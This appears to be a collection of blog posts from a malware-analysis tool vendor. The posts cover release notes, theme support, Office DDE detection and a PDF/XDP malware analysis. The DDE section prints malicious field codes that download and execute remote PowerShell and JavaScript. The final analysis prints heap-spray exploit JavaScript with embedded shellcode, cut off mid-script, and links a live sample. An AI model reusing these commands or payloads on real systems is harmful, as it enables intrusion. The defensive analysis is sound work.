Theme support

The upcoming 3.3 version of Cerbero features theme support. I decided to add this, because I received multiple requests on Twitter and especially took into consideration the fact that some people have difficulty with bright colors because of their eyesight.

Here’s a preview of my Monokai theme for Cerbero:

More themes will be added in time and you can even create your own or customize existing ones.

Adding theme support in Cerbero took more than a week of work, because of the many custom controls it has and that’s also why I have postponed it for a lot of time. But since I decided to do it, I tried to do it properly.

Cerbero uses Qt as UI library and, as many of you know, Qt can be skinned via CSS stylesheets. However, Cerbero has not only many custom controls, but its own UI SDK which isn’t bound to Qt. So a theme needs to take into consideration those colors as well.

Let’s take a look at a snippet of the Monokai theme:


    <entry name="style" value="fusion"/>

    <entry name="stylesheet">
    
*, QTabBar::tab {
    background-color: rgb(40, 41, 35);
    color: rgb(248, 248, 242);
    selection-background-color: rgb(72, 71, 61);
    alternate-background-color: rgb(45, 46, 40);
}

/* tab bar */

QTabBar::tab {
    padding: 6px;
}

/* ... */

    </entry>
    
    <!-- ... -->
    
    <entry name="hexed_bg_color" value="rgb(40, 41, 35)"/>
    <entry name="hexed_ro_bg_color" value="rgb(40, 41, 35)"/>
    <entry name="hexed_pen_color" value="rgb(103, 216, 239)"/>
    <entry name="hexed_sel_color" value="rgb(72, 71, 61)"/>
    <entry name="hexed_misc1_color" value="rgb(248, 248, 242)"/>
    <entry name="hexed_misc2_color" value="rgb(231, 219, 115)"/>

    <!-- ... -->
</theme>

The style entry determines the Qt style to use for this theme. If not specified, the default style will be used. The stylesheet entry contains the CSS. The other entries represent custom colors.

Since Carbon comes with its own set of themes, the “themes” directory contains a sub-directory named “carbon” which contains them.

If you want to create your own themes or customize an existing one, you can create a new theme in your user theme directory, which can easily be opened from the settings:

If you don’t want to create an entirely new theme, what you can do is to inherit from an existing one. To do that just create a new theme specifying its inheritance:


    <entry name="stylesheet">

QTabBar::tab {
    padding: 16px;
}
    </entry>

While all specified entries will simply replace existing entries, the stylesheet one is special, because it will be appended to the inherited stylesheet. In this case we created a theme that does nothing else than to increase the padding in tab bar buttons.

In the same way we can customize individual colors. The inheritance of themes works up to a depth of 5, so you can inherit from a theme which already inherits from another theme.

I hope you like it! 🙂

Cerbero Suite 3.2 is out!

This is a rather unusual release and as you can see the change-list is short:

+ added experimental native UI for Ghidra
+ improved disassembly speed
– fixed SSL on Linux

The main addition in version 3.2 is an experimental native UI for Ghidra. Here are a few screen-shots on all supported platforms.

Windows:

Linux:

OS X:

Since this experimental UI has been more of a personal project, I discussed it in more depth on my blog.

As this is a proof of concept, it will be of fundamental importance whether or not you, the user, want this project to mature. Feedback is highly appreciated and will be taken into consideration in order to prioritize this feature and decide how much time to invest into it. Even curses are considered valuable feedback! 🙂

Supporting Ghidra has already had its benefits even considering other features. In fact, in version 3.2 the disassembly view of Carbon has been made faster as a positive side-effect. More of these benefits are about to come as we’re preparing a lot of cool new additions for the upcoming releases. 🙂

Happy hacking!

Cerbero Suite 3.1 is out!

Version 3.1 is out with many improvements! The main news is the support in Carbon for ELF files and the improved deployment of the Linux edition.

This is the full list of news:

+ added ELF Carbon loader
+ added edit bytes command to Carbon
+ added write method to Carbon
+ added detection of 16-bits wide strings in Carbon
+ added open in hex editor action in Carbon
+ added filters to Carbon
+ added Carbon Monokai theme
added single view mode (Ctrl+Alt+S)
improved deployment on Linux
+ improved x86/x64 disassembly
improved hex workspace
– updated capstone to 4.0.1
– fixed misidentified object crash
– fixed some bugs

Carbon: ELF loader

Here we can see an ELF x64 file in Carbon. As we can see we have an entry point with a call to __libc_start_main.

We can follow the first argument which will bring us to the main function.

.text:0x000007BA main                    proc start
.text:0x000007BA                                                                ; EXPORT
.text:0x000007BA                                                                ; DATA XREF: 0x000006CD
.text:0x000007BA   55                    push   rbp
.text:0x000007BB   48 89 E5              mov    rbp, rsp
.text:0x000007BE   8B 05 4C 08 20+       mov    eax, dword ptr [rip + 0x20084C]
.text:0x000007C4   89 C6                 mov    esi, eax
.text:0x000007C6   48 8D 3D B7 00+       lea    rdi, [rip + 0xB7]               ; "test is: %d\n"
.text:0x000007CD   B8 00 00 00 00        mov    eax, 0
.text:0x000007D2   E8 B9 FE FF FF        call   plt_002 -> printf
.text:0x000007D7   B8 00 00 00 00        mov    eax, 0
.text:0x000007DC   E8 9F FE FF FF        call   plt_001 -> libfunc
.text:0x000007E1   89 C6                 mov    esi, eax
.text:0x000007E3   48 8D 3D A7 00+       lea    rdi, [rip + 0xA7]               ; "libfunc result is: %d\n"
.text:0x000007EA   B8 00 00 00 00        mov    eax, 0
.text:0x000007EF   E8 9C FE FF FF        call   plt_002 -> printf
.text:0x000007F4   B8 00 00 00 00        mov    eax, 0
.text:0x000007F9   5D                    pop    rbp
.text:0x000007FA   C3                    ret
.text:0x000007FA
.text:0x000007FA main                    proc end

Carbon: detection of 16-bits wide strings

Simple 16-bit wide strings are now automatically detected in Carbon.

Carbon: open in hex editor action

It is now possible to open the hex editor from the disassembly. To demonstrate this feature I crafted a small executable which asks for a password and prints an error message if the password is wrong.

We can easily find the “wrong password” string in Carbon by pressing Ctrl+5.

Right before the referenced string, there’s a scanf followed by a strcmp.

We go to the jne which evaluates the result of the strcmp and we open the hex editor from the contextual menu. It will ask us to open a file (it must be a copy of the file we’re analysing).

We can just nop the two bytes representing the jne and then we save the file.

Whatever password we insert now, it will be accepted.

Carbon: filters

While filters are already accessible from hex views, it is now possible to access them from Carbon as well.

Let’s take the same sample analyzed in the previous blog post with xored strings. We select on of those xored strings and we open the filters from the contextual menu or by pressing Ctrl+T.

We can now test out a filter on the selected bytes. In this case we simply use a xor to see the string in plain.

Carbon: Monokai theme

The Monokai theme has been added to Carbon.

I have been using this theme for some development projects and wondered what it would look like in a disassembly. I don’t know about you, but I like it… 🙂

Single-view mode

While it has always been possible to trigger the full-screen mode via Ctrl+Alt+F, now there’s also single-view mode which can be triggered via Ctrl+Alt+S.

What it does is to hide all other views, leaving only the focused view open. Press the same shortcut to exit the mode and have all other views visible again.

Improved Linux deployment

The Linux edition has been drastically improved by simplifying its deployment. As a result it should now be compatible with many more versions of Linux, without having to adjust dependencies. It also comes with a built-in Python distribution, just like the Windows edition.

Carbon: improved x86/x64 disassembly

The disassembly in Carbon has been improved so that it now shows import forward calls. Let’s take this simple call to __crtTerminateProcess.

If we follow the call, we’ll see that it just calls a jumps which in turn jumps to the actual API.

These sort of calls to jumps or jumps to jumps are now automatically resolved to improve the readability of the code.

Improved hex workspace

The hex workspace comes with a number of small improvements, but mainly the initial layout doesn’t show the output view by default.

We hope you enjoy this version as we’re already working on the next one and I can’t wait to show you some of the cool things we’re working on. 🙂

Happy hacking!

Cerbero Suite 3.0 is out!

We’re proud to announce the release of the new 3.0 version of Cerbero Suite!

The main news for the advanced version is the introduction of the Carbon Interactive Disassembler and of a full-fledged hex-editor, while the standard version features only the hex-editor.

We have removed the nag-screen from our trial, making ours the most permissive trial of all time. 🙂 Truth is, I have never been a fan of software protections, as they degrade the experience for every user, including customers and limit the immediacy of application of the software when needed.

We live in a time with virtual machines and it’s often necessary to install something on the fly and use it right away. That’s also why we included a local Python distribution in our installer on Windows, so that users are no longer required to separately install Python and configure it in our software, but can use all the functionality right away after a quick installation process.

While we changed the prices of our commercial licenses, we kept basically unchanged prices for personal licenses. Also, for a week starting today all personal licenses are sold at a discount, so hurry up! 😉

All of our customers can upgrade at a 50% discount their licenses for the next 3 months. Not only that, for the same period of time, customers of the 2.x series can purchase new licenses at a 50% discount! If you want to upgrade or purchase a new license at a discount, please contact us at sales@icerbero.com.

As usual our licenses will be valid for the whole duration of the 3.x series. Because of this licensing scheme we offer even bigger discounts to anyone who bought a license in the last two months. Please contact us at sales@icerbero.com to get a precise renewal quote.

This is the full list of news for the 3.0 version:

+ added Carbon interactive disassembler
added hex editing workspace
– added command line workspace
+ added Windows DMP format support
+ added Windows Hibernation files format support
added undo capability in hex views
– exposed workspaces to Python
– improved appearance on high resolution displays
– improved support for SQLite files
+ improved support for EML files
– included local python on Windows

(Note: entries with the ‘+’ sign apply only to the advanced edition.)

As we want to share our road-map with our users, in the next releases we’ll:

– Improve some of the rough edges still present in Carbon.
– Continue working on our x86/x64 analysis.
– Add loaders for ELF and Mach-O.
– Start working on creating signatures for library functions.
– Improve code analysis for memory images.
– Further improve memory analysis.
– Start working on analysis for ARM. This, however, may take a while.

Have a great day and happy hacking! 😉

Windows DMP and Hibernation Files

As we’re closing in on the release date of version 3.0, it’s time to announce some more new features: the advanced edition will come with support for Windows DMP and Windows Hibernation files.

There are many internal formats of Windows DMP files and Cerbero now supports all of the most common ones. Here are for instance some screen-shots showing information contained in minidumps.

Of course, when the full memory snapshot is available, it is possible to explore it as if it was a raw memory image. Here we can see address space inspection performed on a DMP file.

Hibernation files are also supported for all Windows version from XP to Win10. Here we can see memory analysis performed on Hibernation files.

Stay tuned as there’s more to come also regarding memory analysis.

Profiler 2.9.2 – Windows 10 Heap

The version 2.9.2 of Profiler is out with two improvements. The first one, is more or less a rewrite of the CCITTFax decoder for PDFs, which has now been tested against more samples.

The second improvement is the addition of support for the new heap introduced in Windows 10.

This removes the limitation mentioned previously of heap parsing regarding certain Windows 10 processes such as: smss.exe, csrss.exe, services.exe, lsass.exe, svchost.exe, MicrosoftEdgeC, etc.

As with the older NT heap we use an aggressive approach to rebuild the Windows 10 heap as best as we can even if there are missing pages.

The schema below shows the number of chunks found using an aggressive approach versus a soft one in a Win10 x64 image.

Profiler 2.9

Profiler 2.9.1 is out with the following news (entries with the plus sign apply only to the advanced edition):

+ added parsing of Windows heap
+ added file detection in memory regions and heap
+ added file detection in memory regions and heap via libmagic
added CCITTFax decoder for PDFs
added detection of DDE field codes
added support for 64-bit shellcode to executable
+ added display of page flags in hex views
added actions for text modification
added action to dump mapped PEs to disk
+ added signature for automatic recognition of EML files
+ improved identification speed of raw Windows memory images
+ improved loading speed of raw Windows memory images
+ improved scanning speed of memory images
+ improved global address space hex view
+ improved user address space view
improved fault tolerance of the XML parser
– improved CFBF support
– improved support of embedded OLE objects
– improved extraction of VBA code
– improved PDF decryption
– updated SQLite to 3.21.0
– updated libmagic to 5.32
– fixed XML to text action
– fixed Python multithreading issues
– fixed many small issues
– removed PasteBin action

We’ve waited for the official announcement of the new release, because we wanted to pack some more features inside 2.9.1!

After this edition, we will continue to release minor versions, while preparing a major 3.0 edition scheduled for the second half of this year.

Windows memory image identification speed

One of the main things we improved in 2.9 is the speed of opening memory images. The user has now the option whether or not to scan files in memory. Most of the times scanning files in memory is not needed and makes the opening of a memory image unnecessarily slow.

Version 2.9.1 comes with an additional very important speed improvement: the options dialog will pop up at the first occurrence of a valid KDBG structure. The user can still opt to look for additional KDBG structures as highlighted in the screenshot below.

Memory file detection via libmagic

The main addition in version 2.9.1 versus 2.9.0 is the capability to increase the file detection rate of files in memory using libmagic.

We can dump all files detected to disk as well.

While libmagic increases the detection rate, it also adds many false positive. A nice effect of using libmagic is the detection of text files and scripts.

Memory page flags

Page flags are now visible in the hex view for memory images. Not only when viewing the main address space of a process, but also when opening a mapped file.

Or the structures of a mapped file.

Or any children or resource of a mapped file.

Improved user space view

The user space view for every process now shows also the list of mapped modules.

Dump PE to disk

When inspecting a memory mapped executable, we can now dump the file to disk and Profiler will take care of adjusting the PE header in order to be able to inspect the file using external tools as well.

XML fault tolerance

The XML parser has been improved to handle incorrect XML files. This is especially important when handling PDF malware which contains malformed XDP data.

CCITTFax decoder

Yet another decoder has been added to our PDF support. Here we can see a malware sample using this codec to conceal some JavaScript code.

64-bit shellcode to executable

It is now possible to convert x64 shellcode to executable. In the past this feature was limited to x86 shellcode.

To handle x64 shellcode it is necessary to specify “AMD x64” as Machine.

Text modification actions

When being in the context of a text editor, we can now use text actions to do some basic text operations like converting text to lowercase or uppercase or removing spaces.

Enjoy!

Microsoft Office DDE Detection

In this article we’re not going to discuss how DDE works, there are plenty of excellent resources about this topic already (also here and here).

Instead we’re going to see how to inspect DDE field codes in Profiler. In fact, the upcoming 2.9 version of Profiler comes with detection of DDE field codes.

So let’s start by opening a modern Word document (.docx).

We can see that the main document.xml is highlighted as malicious. If we open the file, we’ll see that Profiler informs us about a possible DDE attack.

The actual DDE code is spread among the XML and makes it difficult for us to read.

			
				
					
				
				 DDEAUTO 
			
			
				
					
				
				"C
			
			
				
					
				
				:\
			
			
				
					
				
				\
			
			
				
					
				
				Programs
			
			
				
					
				
				\
			
			
				
					
				
				\Microsoft
			

So let’s use two actions to clean it up. Press Ctrl+R to execute the XML->To text action.

Followed by the Text->Strip one.

Once done, we’ll obtain the following text:

DDEAUTO c:\ \Windows\ \ System32\ \ cmd.exe “/ k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( ‘ http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/ DDE 2 .ps1’);powershell -e $e ” !Unexpected End of Formula

Which is pretty clear: it downloads a PowerShell script from a URL and then executes it.

Now let’s look at an old-school Word document (.doc).

In this case it’s even easier for us to inspect the DDE code as clicking on the threat immediately brings us to it.

By copying the ascii text from the hex view or executing the Conversion->Bytes to text action we’ll obtain the following code:

DDEAUTO c:\\Windows\\System32\\cmd.exe “/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source “https://www.dropbox.com/s/or2llvdmli1bw4o/index.js?dl=1” -Destination “index.js” & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js”

Which downloads a Windows JS script and executes it.

Now let’s go back to a modern office sample. In this particular case the DDE code is obfuscated as explained in two of the articles linked in the beginning.

The XML is full of this QUOTE-followed-by-decimal-numbers syntax.

			
				SET c
			
			
				
			
			
				"
			
			
				
					
						
						
					
					
				
			
			
				"
			
			
				
			
			
				
			
		
		
			
				
			
			
				
			
			
				SET d
			
			
				 "
			
			
				
					
						
						
					
					
				
			

Since the strings are inside XML attributes, we can’t use the XML->To text action. Instead, we just clean it up manually as there are only 3 of these QUOTES.

SET c  QUOTE  67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35
       QUOTE  97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110
	   QUOTE  116 114 121 32 97 103 97 105 110 32 108 97 116 101 114

Out of this, we can make a small Python script to convert the numbers to a hex string and print it out to the console:

s = "67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35 97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110 116 114 121 32 97 103 97 105 110 32 108 97 116 101 114"
l = s.split(" ")
l2 = list()
for n in l:
    if n.strip():
        l2.append(int(n))
b = bytearray(l2)
import binascii
b = binascii.hexlify(b)
print(b)

Then we simply select the hex string and run the action Conversion->Hex string to bytes.

And now we can see the decoded bytes in hex view.

This is the DDE code:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://netmediaresources.com/config.txt’);powershell -enc $e #a slow internet connectiontry again later

Yet again it downloads a PowerShell script and executes it.

Pretty simple!

JBIG2 Encoded Malware in PDFs

The upcoming version of Profiler 2.7 adds support for JBIG2 encoding inside PDFs. Although JBIG2 isn’t intended to encode data other than images, it can be used to do so. Quoting the PDF documentation:

The JBIG2Decode filter (PDF 1.4) decodes monochrome (1 bit per pixel) image data that has been encoded using JBIG2 encoding. JBIG stands for the Joint Bi-Level Image Experts Group, a group within the International Organization forStandardization (ISO) that developed the format. JBIG2 is the second version of a standard originally released as JBIG1.

JBIG2 encoding, which provides for both lossy and lossless compression, is useful only for monochrome images, not for color images, grayscale images, or general data. The algorithms used by the encoder, and the details of the format, are not described here. A working draft of the JBIG2 specification can be found through the Web site for the JBIG and JPEG (Joint Photographic Experts Group) committees at http://www.jpeg.org.

Here’s a PDF malware trying to conceal its XFA form by encoding it via JBIG2:

And the decoded content:

While this is in no way common in PDF malware, it’s an effective trick to prevent automatic and manual analysis, since JBIG2 is seldom supported by security tools.

Yet another PDF/XDP Malware

Today we’re going to analyze yet another sample of PDF containing an XDP form. The difference between this sample and the one of my previous post is that this one will be less about JavaScript deobfuscation and more about anti-analysis tricks.

If you want to follow hands-on the analysis, this is the link to the malware sample (password: infected29A). Also make sure to update Profiler to the current 2.6.2 version!

MD5: 4D686BCEE50538C969647CF8BB6601F6
SHA-256: 01F13FE4E597F832E8EDA90451B189CDAFFF80F8F26DEE31F6677D894688B370

Let’s open the Zip archive. The first thing we notice is that the file has been incorrectly identified as CFBF.

That’s because the beginning of the file contains a CFBF signature:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  D0 CF 11 E0 A1 B1 1A E1   00 00 00 00 00 00 00 00     ................

If we were to open the file directly from the file-system, we would be prompted to choose the correct file format:

But as such is not the case, we simply go to the decompressed stream in the Zip archive (or to the CFBF document, it doesn’t matter), position the cursor to the start of the file and press Ctrl+E.

We select the PDF format and then open the newly created embedded file in the hierarchy.

What we’ll notice by looking at the summary is that a stream failed to decompress, because it hit the memory limit. A tool-tip informs us that we can tweak this limit from the settings. So let’s click on “Go to report” in the tool-bar.

This will bring us to the main window. From there we can go to the settings and increase the limit.

In our case, 100 MBs are enough, since the stream which failed to decompress is approximately 90 MBs. Let’s click on “Save settings”, click on “Computer Scan” and then back to our file.

Let’s now repeat the procedure to load the embedded file as PDF and this time we won’t get the warning:

Just for the sake of cleanliness, we can also select the mistakenly identified CFBF embedded file and press “Delete”, in order to remove it from the analysis.

We are informed by the summary that the PDF contains an interactive form and, in fact, we can already see the XDP as child of the PDF.

We could directly proceed with the analysis of the XFA, but let’s just step back a second to analyze a trick this malware uses to break automatic analysis. The XFA is contained in the object 1.0 of the PDF.

Let’s go with the cursor to the stream part of the object (the one in turquoise), then let’s open the context menu and click on “Ranges->Select continuous range” (alternatively Ctrl+Alt+A). This will select the stream data of the object. Let’s now press Ctrl+T to invoke the filters and apply the unpack/zlib filter. If we now click on “Preview”, we’ll notice that an error is reported.

The stream is still decompressed, but it also reports an error. This is one of the trick this malware uses to break automatic analysis: the ZLib stream is corrupted at the very end.

Let’s now open the XFA. Immediately we can see another simple trick to fool identification of the XDP: a newline byte at the start.

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  0A 3C 78 64 70 3A 78 64   70 20 78 6D 6C 6E 73 3A     .

Given the huge size of the XDP it's not wise to open it in the text editor, but we can look at the extracted JavaScript from the summary.

Here are the various parts which make up the JavaScript code:

// part 1
            function pack(i){
                var low = (i & 0xffff);
                var high = ((i>>16) & 0xffff);
                return String.fromCharCode(low)+String.fromCharCode(high);
            }
            function unpackAt(s, pos){
                return  s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);
            }
            function packs(s){
                result = "";
                    for (i=0;i spray.size/4; i-=10)
                     spray.x[i]=null;

               spray.done = 1;
            }
            
// part 4

            var i; var j;
            var found = -1;  // Index of the overlapped string
            var acro = 0;    // Base of the AcroRd32_dll
            var ver = app.viewerVersion.toFixed(3);
            var verArr = ver.split(".");
            var verA = parseInt(verArr[0]);
            var verB = (verArr.length > 1)  ? parseInt(verArr[1]) : 0;

            var x1, x2, x3;

            if(verArr.length > 1)
            {
                verB = parseInt(verArr[1]);
                if(verArr[1].length == 1)  verB *= 100;
            }
            else
                verB = 0;

            var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u77eb\uc931\u8b64\u3071\u768b\u8b0c\u1c76\u5e8b\u8b08\u207e\u368b\u3966\u184f\uf275\u60c3\u6c8b\u2424\u458b\u8b3c\u0554\u0178\u8bea\u184a\u5a8b\u0120\ue3eb\u4934\u348b\u018b\u31ee\u31ff\ufcc0\u84ac\u74c0\uc107\u0dcf\uc701\uf4eb\u7c3b\u2824\ue175\u5a8b\u0124\u66eb\u0c8b\u8b4b\u1c5a\ueb01\u048b\u018b\u89e8\u2444\u611c\ue8c3\uff92\uffff\u815f\u98ef\uffff\uebff\ue805\uffed\uffff\u8e68\u0e4e\u53ec\u94e8\uffff\u31ff\u66c9\u6fb9\u516e\u7568\u6c72\u546d\ud0ff\u3668\u2f1a\u5070\u7ae8\uffff\u31ff\u51c9\u8d51\u8137\ueec6\uffff\u8dff\u0c56\u5752\uff51\u68d0\ufe98\u0e8a\ue853\uff5b\uffff\u5141\uff56\u68d0\ud87e\u73e2\ue853\uff4b\uffff\ud0ff\u6d63\u2e64\u7865\u2065\u632f\u2020\u2e61\u7865\u0065\u7468\u7074\u2f3a\u672f\u2e65\u7474\u322f\u3472\u6653\u6339\u0032\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090";
            var shellcode2 = shellcode[0] + util.pack((verB << 16) | verA) + shellcode.substring(3);
            var add_num = verA >= 11 ? 16 : 14;

            for (i=0; i < spray.size; i+=1)
               if ((spray.x[i]!=null)  && (spray.x[i][0] != "\u5858")){
                  found = i;
                  acro_high_w = acro = (util.unpackAt(spray.x[i], add_num) >> 16);
                  acro = (acro_high_w - util.offset("acrord32")) << 16;
                  break;
               }

            if (found == -1){
               event.target.closeDoc(true);
            }

            if (found == -1)
            {
